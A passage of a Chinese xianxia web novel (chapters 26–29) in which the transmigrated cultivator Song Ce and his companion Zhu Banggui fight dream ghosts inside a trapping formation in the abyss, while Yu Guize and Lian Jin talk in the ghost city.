段厄似乎看出宋策的犹豫,表情露出些许奇怪,几息之间咧嘴嘲笑,嘶哑的嗓音在静谧的林间显得分外刺耳。
“他有病吧?好好的他笑什么?”
系统有些不满,好好的气氛被他那磨刀似的笑声给破坏了。
宋策面色平静地抹去脸上血色,冷声道:“好笑?”
那冰冷的眸色浸着雨水泛着血丝,对面人只看了一眼便转过身,沙哑的声音似乎被他刻意压低,犹如指甲盖扣弄着碗底般刺耳。
“我们、还是快找出口吧……”
他轻抖着肩膀绕开宋策,湿透的头发黏在他的肩膀上,段厄不在乎地扫过,也如宋策一般从不施法挥起屏障挡雨。
雨声渐大,打的林中树叶噼啪作响,波动不定的灵气如浪潮一般起伏,恍惚之间系统似乎看见宿主腰间的玉佩闪烁了一下。
宋策眼光微闪,不动声色地看向灵气周旋的四方,手指摩擦着腰间垂落的玉佩。
“哎呦哎呦——救命啊!”
一道身影蓦然出现在前方几颗棵数木交错之间,来人显然异常慌乱,他奔跑之时还不忘回头看几眼身后,险些撞到面前的树干。
“哎呦!”
被地上藤蔓绊倒的人抬眼看到前方的宋策,沾染着泥水的脸闪过几分惊喜。
他不顾泥水仓惶地爬起来拖着华丽的长袍朝宋策两人奔来,那惊恐慌张的样子仿佛背后有什么洪水猛兽一般。
“滚远点!”
临近跟前,宋策侧身移步,朱半规失去支撑摔了个狠的,他疼的一张脸皱成一朵菊花似的,半晌缓过神的朱半规幽怨地爬起来看着宋策。
只见宋策一身湿气,眸中渐布血色,朱半规觉得有点不对劲地往段厄身边靠了靠。
“他咋了?”
朱半规不怕死地传音给段厄,段厄看他一眼却没有理睬一身狼狈的朱半规。
“宋哥?”
一声轻语忽然出现吓得朱半规一个机灵,他闻声看去,宋策已经拿起腰间的传讯玉佩。
“呦,还背着我们说呢?”朱半规见宋策走远几步,言语调侃表情微妙,他悠悠然地打开被泥水粘黏在一起的破折扇。
段厄嫌弃地往旁边走了几步:“离我远点。”
“宋哥,你能听到我说话吗?”
“嗯。”
“嗯?你怎么了?”听见宋策声音后,喻归泽察觉到一丝怪异之处。
他屏息似乎听见宋策的呼吸声短促微滞,手中玉佩传来细微淅沥雨声。
他捏着泛着荧光玉佩手愈紧,须臾之后只是缓和语气问:“宋哥那边下雨了吗?”
宋策从他亲和的声调里听出几分笑,他听见他问:
“冷吗?”
宋策皱眉抹开挡在眉宇间的湿发,问他:“声音变了?”
“哎,好像是哦,他声音怎么和以前有点不一样了?”
“变声期,哎?”说完系统似乎被自己的话给逗乐了,电流滋滋响个不停。
27. 第二十六章
连绵细雨声里,宋策的声音听上去清朗又令人舒心,喻归泽沉默几息,笑着说:“我也是才察觉。”
喻归泽感觉奇怪,空气中安静的似乎雨声是从自屋子里落下来那般清晰。
他坐在靠着窗台的小塌边倚着窗子看向外边,蒙蒙云雾遮住了阳光,阴云卷舒。
“不好听了。”
原本少年般明朗清脆的声音这时听起来倒有几分稀碎沙哑的低沉。
宋策从他平静的语调里听出失落之意。
“没有,别想太多……”
“筑基之后课业不可懈怠,但也不必操之过急,清心净气,不可浮躁。”
“等我回来——”
“宋策,你何时回来?”
玉佩微光几经变化传出一道音色异变的声音,是连尽。
法阵中灵气不稳定。
“他怎么在旁边?”系统小声嘀咕。
“路途遥远,宋哥归期未定。”
喻归泽声音遥遥从玉佩中飘忽而来,连尽贴着玉佩的声音却越明。
“城主伤情愈重,闭关时日聚多,你……”
捏紧玉佩发出的咯吱声从另一边传递而来,宋策却说:“无事便将玉佩还给他。”
“……”
“嗯?又断了?”
系统不满道:“怎么回事啊?本来就没说几句话,还让这人给抢了!”
宋策揉揉眉间,无奈轻叹。
“把数据面板打开。”
喻归泽的信息数据缺失,宋策会在系统上实时备注更新已知信息。
【备注对象:喻归泽】
【族类:天灵族】
【性别:男(雄)性】
【生理特征:人身蛇尾,已成年,灵丹破裂……】
【修为:筑基
耗时——时日断续不详
——鬼历某月某日,换算某历某月某日】
【性格特点:……易哭……】
……
【过渡期异化:发育异常】
他在过渡期后面备注了一项【变声未完全】并且记录了时间。
“宿主,记这些有什么用吗?”系统不明白宿主为什么记录这些信息,有时候宿主还会实时更改数据和信息。
“补充世界信息。”
系统看着宿主严肃的样子没吭声,世界数据丢失确实需要更新补充,自家宿主这么做他也很支持,但是他怎么感觉宿主把喻归泽当做小白鼠来研究呢。
“说完了?”朱半规一脸贼笑,他瞥瞥宋策腰间失去灵光的玉佩,半猜应该是又失联了。
也就是这极渊中孤山玉做出来的好东西,不然恐怕料宋策炼器手段再高明也没这本事联系到人。
他眼馋那玉佩,却见宋策已经看过来,只能转头乱看其他地方,不好意思地摸摸鼻尖嘿嘿装傻笑。
“现在怎么办?”
“联系不上人”,说完他还意有所指地补充,“哎,我们可没有孤山玉做配,这可怎么办?兴许人死了也未可知?”
“呵呵呵……”
段厄闻言扯着破碎的喉咙附和,惹来朱半规眸中精光细闪,满眼贪婪尽显。
宋策了然,却只是将手中玉佩掂了掂,棕灰色眼瞳毫无温度地扫过两人,在段厄身上停留一瞬。
“怎么遇到的是这两人?”系统恨不得啐他一口,“讨厌死了!”
极渊苍茫遥远,荒无人烟,多日孤立无援,往日伏小做低的朱半规却也逐渐暴露本性来。
系统狠狠道:“难怪那个楚生总瞧不起这家伙,宁人作呕,呸!”
“人之长情”,宋策倒是不在意一般嗤笑,“他寻常被我欺压惯了,这种时候发个牢骚也正常。”
“宿主,你怎么还帮他说话?”
“人都有发疯的时候,我总不能看他变态吧?”宋策不再理会系统。
他走到一处树下,捡起一根树枝在地上作图。
朱半规围上去查看。
“如果我没猜错的话,困住我们的法阵叫七星阵”,宋策话语停顿,接着说,“这个阵法没什么其他东西,七日为周期,法阵玄机必出,只可惜在第七日时我们被阵法各自传送到不同的位置,错过了最佳出阵时间。”
“那你为什么不早说呢?啊?”听完宋策的话,朱半规直喘气。
宋策抬眼看向朱半规,只见他唇瓣发紫,眼眶淤青。
朱半规瞪着眼睛,眼珠几乎夺眶欲出。
“噫惹,他这是咋了?跟中毒了似的。”
“精神异常亢奋,嗑多了?”系统惊疑不定。
宋策眸光潋滟,嘴角这时却嗪着讽意,直接了当地回答他:“时下告诉你了,你又能如何?昨夜可看出什么玄机之处了?”
“可找到阵眼?”
面对朱半规的怔愣,宋策讥诮笑意一闪而过,他站起身来比朱半规还高几寸,微垂眸扫过面前人的眼,“没有就别在我眼下废话。”
那是冷漠不在意的眼神,是朱半规厌恶的忽视语气,不是瞧不起和歧视,是宋策在称述一种事实的平静,是富有者对贫穷者无意识的攻击。
是他最厌恶的一种高高在上的俯视。
朱半规沉默低头,眼中却血色浓烈,他知道,像往日闲言碎语里的那样,华服也遮不住他骨子里的粗俗和蛮横。
“冷静点!”宋策眉间微皱,指尖轻点朱半规眉心,一丝灵气顺着他眉骨散开。
刹那朱半规恍惚了神情,握紧的双手怔松,他晃了晃脑袋,意识到什么后表情几经变化,最后白着脸看向宋策。
“很多法阵都会迷惑心神,久处不是好事”,宋策目光凛凛,“记住,在这里攻击我对你无利。”
“我们都是一根绳子上的蚂蚱”,宋策回头看他,嘴角勾起,目光却森冷,“至少在极渊是。”
朱半规唇齿生寒,眼神躲避,强装镇定地转身,扯扯僵硬的唇角:“你怎么不吩咐其他人?”
“不会就欺负我胆小怕事吧?”他语气生硬维持着寻常的玩笑又谨小慎微的氛围。
宋策眼睛微眯,受伤的那只眼皮伤痕折起,在朱半规看来只觉的怪异和肃杀。
果然下一秒他薄唇轻碰,意有所指:“他已经在船上了。”
朱半规心中一凉,犹如寒风凛冽,只觉得浑身刺骨冰冷。
“你在骗他!”
“自愿的事怎么能说骗?”宋策盯着面前人,语意淡淡,丝毫不觉得有什么不对。
“那你也是在害所有人!你想让我们都陪你送死?”朱半规平静的情绪再次被挑起,只觉得眼前人疯狂。
朱半规这时却想起初见宋策时的场景。
那时宋策站在玉婪背后,那双棕灰色的眼瞳闪过冰冷的绿光,刺的他身体发寒,他察觉的自己的目光,勾起唇角礼节周全地朝他示意。
顶着昏黄的灯光,他只觉的面前人是个疯子。
三年并未改变这个疯子,只是让他藏起锋芒犹如毒蛇一般蛰伏暗处只待猎物疲累便一击致命。
“你进极渊之前,是还觉得自己有命回去?”
宋策对他的天真感到好笑,他的视线绕过朱半规露出不屑和嗤笑。
朱半规觉得宋策无耻又冷血,他辩驳道:“那是你!若非你的缘故,我如何会入极渊!”
“是吗?”宋策敛目浅笑,眼见着朱半规的情绪愈发激动,脸色涨红唇色愈紫,但他却猛然推开似乎要窒气欲结的朱半规。
“低等妖物!”
张牙舞爪长着血口的怪物朝朱半规脑袋就咬来,宋策挥起屏障卡在它那绝裂的齿口之处。
朱半规被宋策推到在地,变故骤然出现,他只怔愣在原地。
“死人吗?还不快来帮忙!”宋策艰难扭头看朱半规,。
血口愈发近,原本伪作段厄的怪物这时已经看不出样貌,它嘴巴如人头一般大,嘴上方独有一只血色眼睛,身如狼狗,背后拖着一根似牛一样的尾巴。
浑身散着怨灵气息,宋策翻身躲开巨口,那妖物又看了眼倒地不起的朱半规向他扑去。
动作迅猛叫声却如婴孩啼哭般尖细,刺耳喧嚣,林中静谧被划破,宋策看了眼林子深处忙拽起朱半规,顺势使出一记爆破符夹着火符,但效用似乎并不大,那怪物只是往后退了几步,混沌摇头后又向两人扑过来。
“不对劲!”
“符箓对他无用!”
它仿若冤魂一般无灵无体,灵力转化的一般攻击犹如洞穿空气那般自然被化解消散。
“快走!”
眼见着情况不对,两人向其他方向奔走。
他们的狼狈似乎让怪物更加兴奋,它仰着血口朝天尖啸,几息之后深林中似乎隐约传来呼应的啼哭泣音。
“宋策,这究竟是怎么一回事?”奔跑的风裹挟着冷雨拍打在脸上刺痛感让朱半规有片刻的清醒。
“没时间说了!”宋策有些恼火地抹开眉间细雨,暗自懊悔。
“宿主,那不是段厄吗?他怎么就这样了!”系统看向移步换影一般紧跟在两人身后鬼气森森的黑影。
那道残影如梦似幻般变化无穷,不知是否是自己看错,他能从那颗头颅上看到数道面孔正狰狞地张嘴嘶吼,最后却汇聚成嘈杂奸细的哭嚎泣哭。
“他不是段厄!”似是察觉到什么他扭头看去,背后黑茫茫一片的云雾般的影子从林子深处窜出来。
伴随而来的还有浪涌般的薄雾,看上去犹如巨浪奔腾,山雨欲来。
朱半规咒骂出声。
“狗东西甩不掉!”
林中屏障隔绝了大部分灵气,他们在林中的攻击被削弱,驾驭器物也难以逃离屏障,犹如笼中之鸟,朱半规在这种剧烈奔跑之后喘息地上气不接下气,粗重的喘气中夹杂中血腥气。
“太快了咳咳咳……我不行了……”
宋策停下脚步,周围的景象有变化,原本细雨连绵的树林这时已经变成了灌木丛生,遮天蔽日的树木已然不见,但放眼望去周围依旧是灰蒙蒙一片,头顶似乎遮盖着一
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层隐蔽的屏障,不见光亮,脚底是泥泞的沼泽地。
抬脚看去脚底下爬着黑乎乎的小虫,它们似乎对外来者格外敏感,宋策侧耳听空气中嘻嘻索索的声音,也许是兴奋的毒虫在鸣叫。
他们被一圈看不清脸的东西堵住去路,两人背对背警觉四周,声音渐稀,猎手盯梢的猎物停留,它们似乎在兴奋在警惕,嘶嘶鬼气音时不时冒出惹得灌木丛中毒虫的飞鸣。
宋策在诡秘寂声中传音给朱半规。
“法阵一直在变,我们在跑的过程中被传送到其他地方了。”
“那这些鬼东西怎么还跟着我们!”
“是魇鬼、是魇鬼!咳咳……我想起来了……”朱半规想起在遥远模糊的故去的一星点画面,书声琅琅的教习课上看过的一小段文字和图画。
宋策补充道:“这些魇鬼被怨气侵蚀过。”
魇鬼专门吸食人梦中的心绪精力,最爱心绪纷乱神识污浊不堪之人身上的情绪,本体如梦如幻,一般灵力无法直接破除只能打散,不爱主动攻击清心修炼的修士。
朱半规有些不确定道:“被我吸引来的?”
宋策随手摸过垂在腰侧的玉佩,不动声色的查看蒙蒙雾色中,灵气如斑驳的光影一般闪烁不定。
“等等,这东西不是跟——”宋策没有给他往下说的机会一把推开他,刹那绘制红线的黄符如雨一般散开,宋策扯下挂在朱半规挂在腰边的玉瓶。
还没等朱半规反映过来,宋策就打开瓶口引出一缕丝线般的血液在空中勾丝作画.
“那是我炼丹用的兽血!”朱半规看宋策不要钱一般朝外牵引血丝的动作,心疼不已,阻止已经来不及了。
“你省着点……”
宋策将空瓶扔还给朱半规,一瞬间空中巨型红色法阵圆环向外围扩散开很快淹没消失在空中。
宋策右手拇指微微下弯狠狠擦过小指,一阵阵刺痛划过激起他心中几分冷静,鼻尖轻轻呼气缓解奔跑后的窒息感,眉间一动看向外围法阵显露灵气波动之处。
“等会儿紧跟着我。”
“哎!宋策!”
朱半规还没听清楚宋策说了什么,只见宋策一跃进魇鬼潮中,数不清的魇鬼被他激起形成一个包围圈。
雾气浪涌,林间场景早已看不清,朱半规狠狠咬牙,跟着宋策的身影飞跃在鬼潮之中,他眼疾手快地躲开魇鬼疯魔一般的攻击,只觉得眼前影像摇摇晃晃愈发看不清。
那些混乱不堪地,那些不忍回忆的,那些深藏记忆深处昏暗颠簸的影像无端闪过眼前,汗水混合血水刺激地他眼睛疼,勉强在宋策不断变换的身影中辨别方位。
灵力攻击在鬼群中大多只是击空,勉强吓吓群潮。
“别看它们的眼睛!”朱半规急退背靠宋策,忙不迭问他,“你捣鼓半天弄好没?我快、快不行了……”
朱半规回头看一眼,只见宋策气息异常,他动作微顿,气息凛然,手肘蹭到一处淋漓湿意,低头看去,心下一紧。
宋策手腕处的鲜血已经晕湿袖口滴落,他意识到什么抬头看周围疯狂的魇鬼,惊愕道:“你疯了?这些东西嗜血!”
“以己血作引?”
宋策转身狠按住朱半规肩膀,力道之大惹得朱半规拧眉。
“攻击他们的眼睛。”
闻言朱半规看向那些怪物巨大口器之上的一颗血红独眼,立马以灵气作器朝一只魇鬼打去,只见被击中的魇鬼尖叫痛呼一声如烟气一般变淡消散。
朱半规动作倏地停滞,诧异道:“这么简单?”
但是这般一只一只攻击这数不清的魇鬼很快丹田中灵气就会被消耗完,况且这法阵压制修士的灵力,根本无法调动自身灵气周转。
击退一圈魇鬼,朱半规施法掐诀的动作稍慢,他缓步退至宋策身后。
“宿主,你看这狗东西,他在偷懒!”
“宋策,你玉佩亮了?”
腕间鲜血落至腰下玉佩,宋策绘制最后一处,他头未有抬,手中动作未停,施法抬起手的瞬间,血腥味蔓延到自己鼻尖,宋策眼皮轻跳。
这种时候朱半规还有闲暇看宋策,系统心中不满,他依言看去。
“宿主,你的血落到玉佩上了”,系统在修仙界这么久了,也是知道通讯灵器启动是需要使用者牵引自身灵力的,鲜血与本源灵力同属,只是他有些奇怪,“怎么听不见喻归泽声音。”
“传送阵?”
“你疯了!”空中灵光大盛,一个小型法阵汇聚在两人周围。
身处别人布下的法阵中不能轻易使用传送阵,一般修士都明白在复杂的阵法中使用传送阵容易被瞬息万变的法阵搅碎,况且还是这种单向无目的地的传送阵,朱半规怀疑宋策神志被魇鬼给迷惑了。
“等等!”
完全不给他思考,朱半规目光近乎决裂,眼前白光眩晕眼花缭乱,所有变化仅仅在一瞬间。
“宋策!”
空间被撕裂,朱半规抬头收到宋策一个淡然沉寂的眼神。
28. 第二十七章
“宋哥?”
“怎么回事?”连尽一把夺过喻归泽手中玉佩,注入灵力,但灵器只是微闪几次光便不再反应。
见此,喻归泽转身落座小塌沉身不语,眉目凝重。
“玉佩给我。”喻归泽抬眸看向连尽伸手。
连尽敛眸指尖微紧,指甲擦过玉佩,沉默几息之后将玉佩递还。
“宋哥委请阁下照看在下,并未让你时刻紧跟于我,还请回吧。”
喻归泽语气平淡,神色冷静,仿若刚才气息不稳,眼瞳震颤之人不是他一般。
喻归泽抬眼看他,连尽却漠然不语。
他并未随喻归泽的逐客令离开,反而转身坐在喻归泽身边,一派想闲谈下去的架势。
喻归泽施法为他粗糙地沏了一壶茶,冷然道:“茶水凉了,将就用吧。”
连尽并未给喻归泽安排照料的妖奴,身边事务皆由喻归泽自行收拾,只是青面鬼常会来送些物什。
喻归泽也懒于和这个人虚与委蛇。
连尽仅轻瞥一眼茶水,毫不在意地开门见山问:“听闻他在流沙城区的走卒商贩手里买了你?”
喻归泽翻书的动作停滞一瞬,虽不明显却仍被他捕捉,笑意随即从看客的嘴角一闪而过。
“连大人有何见教?”
“你就没想过他为何要救你?”
喻归泽动作未停,像是在掩饰什么仅提笔在书上做了批注,他问:“那你呢?”
“你想过宋哥当初为什么救你吗?”
他抬头看着连尽的眼睛,棕色眼瞳直直的盯着他:“为何不想?”
下一刻,喻归泽详装露出一丝恍然猜疑的情绪,目光凝然,仿佛要从连尽有备而来的从容神情中看出什么。
“哦?”这时喻归泽像是想到了什么,露出戏谑调侃的表情,身体微倾靠在背后的靠枕上,勾起嘴角笑着看他,“我倒是忘了,当初的连大人可是聪明得很呢?”
“是你不相信宋哥。”
喻归泽放下手中书册,目色平静,像是在审视连尽的意图,最后吐出一句话:“现在却不甘心,按着什么心思?”
连尽眸光闪动,微垂眼帘压低情绪,指尖轻轻叩击桌角。
他语意中带着讥讽:“公子寻常一副清冷惹人怜爱的模样,就连我这出身之人都比不上。”
“是吗?”
喻归泽扫过连尽动作,冷着脸拿起茶壶为连尽斟了一杯茶,满满一盅,热汽缭绕。
连尽了然一笑拿起眼前这滚烫的热茶,任由茶水溢出浇烫指尖。
喻归泽看着他平静地喝下杯中茶,不经意间眉心微蹙,眼尾一撇。
良久,连尽放下空杯。
“偌大鬼城,人心难测,我劝公子还是自作打算为好。”
“这两句话大人说的轻巧,难道当初做出决定时也是这般随意随心?”
喻归泽的目光就如同尖刀一样,毫无顾忌地刺向连尽。
连尽心中惊诧,却沉静地绷直嘴角,像是在和谁较劲一般,再想说什么,却被喻归泽不耐烦地打断。
“大人不如想想如何应对城主吧,过不了几时他怕是又要来招人了。”
连尽走了,房中终于安静下来,喻归泽有些烦躁地躺着,侧身就能看向窗外风景,又是蒙蒙阴霾,连天蔽日,教人胸闷气短。
连尽和宋哥的事在那些人眼里也不是什么秘辛。
常被鬼城众人津津乐道,画本子故事杜撰满天飞,就连朱半规私下里也要拿出来讲,那些人手底下的腌臜事兴许也要被朱半规窜托人写出来倒卖出去赚些钱财。
他奇怪为何今日的连尽会突然和他说这些话,是挑拨离间另有所图,还是不甘心和宋策就此两不相欠?
刚才玉佩里分明传出的嘶吼和打斗声都表明宋策身处险境,连尽表露的担心也做不得假,但黑风鬼是要了宋策性命的意思,喻归泽拿不准连尽的想法。
喻归泽想去极渊,鬼城没办法再待下去了,他不能坐等消息。
垂首沉默间,细密疼痛自他心尖弥散开,胸膛气血翻涌,闷热窒息的涨塞感堵在心口让他难以呼吸。
他抬头看向窗外,微风吹开他眼侧的碎发,微红的眸光从他眼中一闪而过,视线片刻的模糊后他忍不住眨动眼睫,酸涩感才稍稍缓解。
就在下一刻,“啪”得一声清脆声音自他掌心传来,玉佩裂成了三瓣。
“你这玉佩居然碎了?”
朱半规撑着地艰难地站起身来,浑身上下泥泞不堪,但他还不忘看着宋策,眼中满是不可置信和劫后重生的情绪,随即发现宋策一直系在腰侧的玉佩碎了。
原本牢牢挂在红绳上的玉佩碎成三瓣,失了灵气的配件落在地上又碎了几瓣。
朱半规心疼地捡起碎掉的玉佩,满眼可惜:“啧啧啧,你怎么就跟了这么个主人呢?”
“瞎用法阵传送,被空间碾碎成这样。”
阵内传送不确定因素很多,少许反噬冲突的灵力与法阵相斥就会发生意外,这枚玉佩就是例子。
连尽可惜这上好的孤山玉,不知能否在这极渊中再采一些带回去。
宋策从朱半规捧在手心的玉渣中捡起一片,看了一眼又放下了,他抬眼冷笑道:“你该庆幸自己快了一步,否则被法阵切成几瓣的就是你了。”
连尽在宋策冷漠的语调里打了个寒颤,他掩饰地抖抖湿透的衣服,灵气护体的法衣瞬时干燥整洁。
“我是知道你法阵天赋了得”,他言语有些不满,小声反驳道,“但你事先也没和我说啊。”
宋策没管朱半规的废话,看了眼四周场景,依旧蒙蒙雾气,空气中弥漫着淡淡的土腥味道,应该是雨后腐草味。
“哎,等等!”眼见着宋策的身影被雾气隐没,朱半规忙将玉佩塞进衣襟中跟上前。
“宿主,这不对啊,刚才还是白天,现在怎么就是晚上了?”
虽然这里始终看不清天上日月,但还是能明显感受到白昼变化,系统有些害怕了,这时间对不上啊,谁知道现在外面是什么情况。
“法阵中时间和外界的时间流逝不同”,宋策低头看向自己手腕伤口,皮肉外翻,结痂处血红狰狞,短时间内是不可能达到这样的。
“法阵里时间是混乱的”,宋策略微施术清理身上的泥泞血腥味,轻叹,“有人刻意将我们困在这里。”
“啊?你说什么?”朱半规离得宋策有几步距离,却没听清宋策那飘忽不定的叹息声。
“后生,这里不是你们该来的地方。”
“谁?”神经始终紧张的朱半规被这突兀出现的声音吓了一跳。
空寂却又苍老威严的声音自四面八方传来,犹如流水汇聚一方交集在两人耳边。
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宋策眸光一凝抬头看向四周,扬声道:“前辈,在下并无恶意,贸然入极渊属实被逼无奈。”
宋策隔空向上抬手作揖施礼,沉声道:“还请前辈行个方便,不要为难我的同伴。”
“为难?你的这些同伙可都不是什么好相与的。”
四下陡然寂静,一瞬忽地空间旋转,宋策眼睛微眯起再抬头雾色已经散去,但却依然看不清周围,万奈俱静,只有一束光落在宋策身边。
“怎么回事?朱半规呢?”这个突然出现的神秘人似乎将宿主带到了一个不知名的空间。
比起系统的躁动和惊恐,宋策却冷静撩袍席地而坐。
犹如微风一般的气息绕着他周身旋转,忽远忽近,在耳际,在眼侧,在脖颈,人声就是从那阵飘忽不定的气息传来。
“前辈有什么话就直说吧。”
宋策闭眼调息,这无人之境的灵力反而比外界要浓郁些,正好能够缓解他身上受的伤。
“小子猖狂!”
“在下不敢。”
“你们这些心术不正之人,凭什么要我放你们出去?”
空寂苍老的声音就响在眼前,宋策额前青筋微跳,轻笑道:“前辈言重,我们什么都没做却被您按上这等罪名。”
“可笑”,那声突然远去又似在身侧,“执念深重,罪孽难清,哪个又清白?”
“你的魂识和你的同伴一样!”那声含威吼声如雷声轰鸣响彻整个空间,回声荡荡。
“魇鬼最是喜爱你这样的血肉。”
“哎,他这话不对吧?”系统对这个始终不肯露面的人说的话有些不满。
他给宿主的身体都是根据数据制造投放到这个世界的,宿主用的是一具全新的身体和自己的灵魂,宿主一个现代人哪有这人说的这样子。
“他搞错了吧,我怎么觉得那些魇鬼是朱半规那个惹事精引来的。”
“为何不言语?”见到宋策平静的身形和面容,那人又不高兴了。
宋策睁开眼,那只眼瞳表面是温和的棕灰色,眼光流转中,他收势起身,目光追随着身边的气息。
缓声道:“阁下不如直说,想让我们如何?”
“哼!”
“放你们出去也可以,不过你得告诉我你们到底要做什么?”
“嗯?这么简单?”系统不信,他觉得这老头不像个好人,把他们困在这里这么久就等他们一个答案?
“救人。”
“救人?救谁?”
光影随着他流动,照射在宋策身上。
宋策稍有动作,空中就会浮现波光粼粼的符文,指尖轻点显现出眼前的屏障。
他放下手,指腹摩擦另一只手指节根部,转动戒指。
“一个身边人,我希望他活着离开鬼城。”
“鬼城?”那人像听到了什么可笑的事情,语气忽然又嘲讽起来,“哪有什么鬼城?”
“只有皓月城,什么鬼城!通通是外界胡诌罢了!”他语气生硬,气息颤抖,声音巨大震的似乎整个空间都在剧烈夸张地抖动。
宋策眉心一动,详装无意问到:“前辈这是何意?”
空气中突然冷寂下来,宋策继而道:“晚辈在鬼城仅五年,并不了解鬼城曾经事宜,还请前辈解惑。”
说完他恭敬地对着空气行了个礼。
29. 第二十八章
“咳咳咳,救命……”
“呕——咳咳——呕呜……”
“救……”
朱半规死命地扣着自己的喉咙,地上、身上满是黑色爬虫,数不胜数密密麻麻看得他头皮发麻,更要命的是那些虫子疯狂地往他身上爬。
他想用火烧,试图调动灵力,但掐诀的瞬间只觉得浑身寒冷刺骨,忍不住发抖哆嗦,身上无力头晕目眩。
不消半柱香,虫子已经顺着他的腿爬上身,他拍打身上腿软弱无力忍不住往后倒,虫子顺着他的七窍往里面钻,巨大的恐惧感蔓延胸中,他的眼眶中溢出泪水,浑身还止不住地哆嗦。
突然眼前模糊的视线闪现一道白光,朱半规脑中出现一丝希望。
乍然现身的宋策看到浑身毒虫狼狈濒死的朱半规,警惕地往后退了半步。
系统有些嫌弃道:“这是惹祸精?他怎么把自己搞成这样?”
认出人后宋策使出火符将朱半规身上虫子烧灭待尽。
“咳咳……”朱半规爬起来人看上去仍然虚脱,他扣挖喉咙剧烈咳嗽,双目充血,眼眶青紫,脖颈青筋暴突,整个人看上去痛苦又恶心。
“噫惹,他这是吃了虫子?”
“宋策……咳咳……呕——”
“你可算出来了呕——”朱半规吸吸鼻涕,瘫软跪在地上表情“狰狞”地抹了把泪,“我和你分开好几天了,你才出来,我还以为你死了。”
“其他人呢?”
“哪有什么其他人,找不到人也联系不上”,他爬起来瘸着腿靠近宋策,难言道,“我们回去吧……”
宋策没搭理他这句话,提醒他:“这些是毒虫,你现在身上——”
他停了一瞬转而语气有些奇怪地问他:“你没感觉什么不对?”
“啊?什么意思?”朱半规也有些诧异。
他不知道有什么不对,只觉得自己在这个鬼地方困了很久,和宋策被迫分开后,他被困在一个伸手不见五指的昏暗空间中,一瞬昏睡,醒来后就在现在这个地方,周围都是毒虫,差点小命就交代给虫子了,哪里还有什么其他心思想什么不对的地方。
“你在极渊里碰了蛇血,那血有毒。”
宋策补充:“你的毒还未解。”
“等死吧,你日子不多了,该吃吃点吧。”
“哎哎,什么意思你这是?”朱半规慌了,他怎么没察觉自己中毒了。
“你自己看看吧。”说完宋策为朱半规立起一面镜子。
朱半规瞧见自己鬼一般的神色,吓得好半晌说不出话来,难怪刚才他施法动用灵力却觉得浑身刺痛冰冷,他慌张地看着宋策。
“等等——”
他瘸着腿走近宋策,问他:“你也碰了蛇血,为何你没事?”
宋策指尖微张,一个瓷瓶出现在手中,他假意地笑:“因为我有这个。”
朱半规眼光一闪,扑上前去,却被宋策一掌推开,朱半规踉跄跌落在地,狼狈不堪地裹挟着泥水滑溜几次才站起。
他苍白着脸舔着发乌的嘴角,陪笑道:“宋、宋大人……你这是何意?”
“如今我们都是一根绳子上的蚂蚱,其他人还找不到,你这是作何打算?”
他试探地抬手够宋策手上的瓶子:“你这也不敞亮嘛。”
宋策反手制住他的胳膊,抬脚踹在他的膝盖处,朱半规受力单脚跪倒,脸色微变,下一瞬止住神情,腮边鼓动垂眸收敛笑意。
“朱大人敞亮”,宋策轻笑,嘲讽意味从他嘴角泄出,“对付魇鬼的时候不见你这么积极。”
朱半规低头隐忍不发,手肘撑着地,呼吸微促,鼻翼翕动沉默。
宋策捻动戒指,踹开虚弱的朱半规,向前走去。
“放心吧,一时死不了”,他抛起装着丹药瓶子,随意道,“等你什么时候快不行了,我给你喂。”
他回眸嘲弄一般撇了一眼仍然跪在地上的朱半规,加重语气:“亲自喂。”
朱半规听了宋策施压的话语忍不住额间一颤,他沉默几息后忍痛站起,讪笑走上前,浑然不顾刚才的羞辱,只是笑着说:“那还得劳烦大人多有照料了。”
说完朱半规熟练地抖抖衣袍施礼。
系统看傻了,他不知道说什么,感叹一个这个人适应能力真好,刚才他还在骂朱半规不讲义气,现在他倒是有点同情朱半规了,这个倒霉东西简直自作聪明,他就知道在宿主面前耍小聪明根本没用。
“我在里面多久了?”
朱半规抹了把脸,拧了自己沾上泥水的头发,吸吸鼻子,脸色有些古怪。
“半月有余。”
“什么?半月!”系统不敢相信,他震惊宿主怎么能在法阵中被困了半个月,他现在怀疑那个怪异的老头子在骗宿主,这下外头人恐怕都怀疑宋策已经死在极渊里头了。
“我被法阵抛出来后就出现在这片峡谷中,这里对修士灵力的压制比法阵还要强,我找不到办法,只能在峡谷中转。”
说着说着朱半规似乎快要哭了似的,哆哆嗦嗦满眼恐惧地看着宋策:“我、我们回去吧……”
“我真的快不行了……”
“这里、这里有古怪……”
“不仅有毒虫还有”,他艰难地吞了一口水,“有鬼。”
他的苦相并没有换来宋策的同情,系统听了也有些瞧不起朱半规那窝囊的样子。
“他一个修士怎么还怕鬼啊?怎么窝窝囊囊的?”
“我在法阵中找到了通向极渊深处的办法,苍月他们应该和你一样被法阵送出来了,现在前进是唯一的活路。”
这趟极渊之行没有退路。
宋策看了眼朱半规的狼狈,反问。
“你不觉得我们现在回去有些迟了吗?”
他抬头看了眼狭长的高耸的崖壁,垂直高空只能看出一条窄细的灰白长带,那是他们唯一看得到的外界天空,远处时不时横扫来长风刮起悬崖之上的树木,发出“嘶嘶”诡异声音。
“不想死的话,跟我走吧。”
宋策走过朱半规身边随手在他身上贴上一张画符,朱半规眼睫颤动一瞬,他身上黏腻湿滑感消失换来的是干燥清爽,就连身上的伤轻微擦伤也都愈合了。
极渊中灵气稀薄,宋策还为他用了所剩不多的符箓。
朱半规张了张嘴,不知道说什么,他垂着的胳膊几次举起,看了眼宋策的背影还是跟了上去。
“
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哎,宿主,你骗他的吧,我怎么记得那个老头没说怎么出去。”
宋策指尖微动,解开包裹的伤口,伤痕结痂,乌红的疤痕周围的皮肉泛着红,手肘转动还会拉扯到伤口,但他还是将带血的绸带随手丢了。
昏暗的法阵密闭空间中无形无影的老者情绪激动,滔滔不绝地诉说着鬼城的过往。
极渊这一道天谴原本是一个钟灵毓秀般的秘境,这里能看到神州大陆最美的月亮,千百年来外界来此祈求沐浴皓月精华的修士络绎不绝,与极渊同属一个地脉的城池也被称为皓月城,同样从皓月城走出去的修士大能数不胜数。
说道激动处,宋策能感受到藏在黑暗中修士的迫切和言语中的沧桑失意。
不知为何百年前秘境上的地脉被一道强大的灵力从地脉深处冲破,地底被撕裂,出现一道深不见底的深渊,吸噬万千生灵,原本仙境变成荒芜怨灵深重的天堑,皓月城也因此受到极渊波及,从此与外界失联,外界人进入鬼城容易,出去却受到限制。
皓月城也应此被戏称为鬼城。
老者沧桑的语气再也没有发出一点叹息声,最后他只是说:“这里不是你们该来的地方,若你执意往前走,我也不拦着你。”
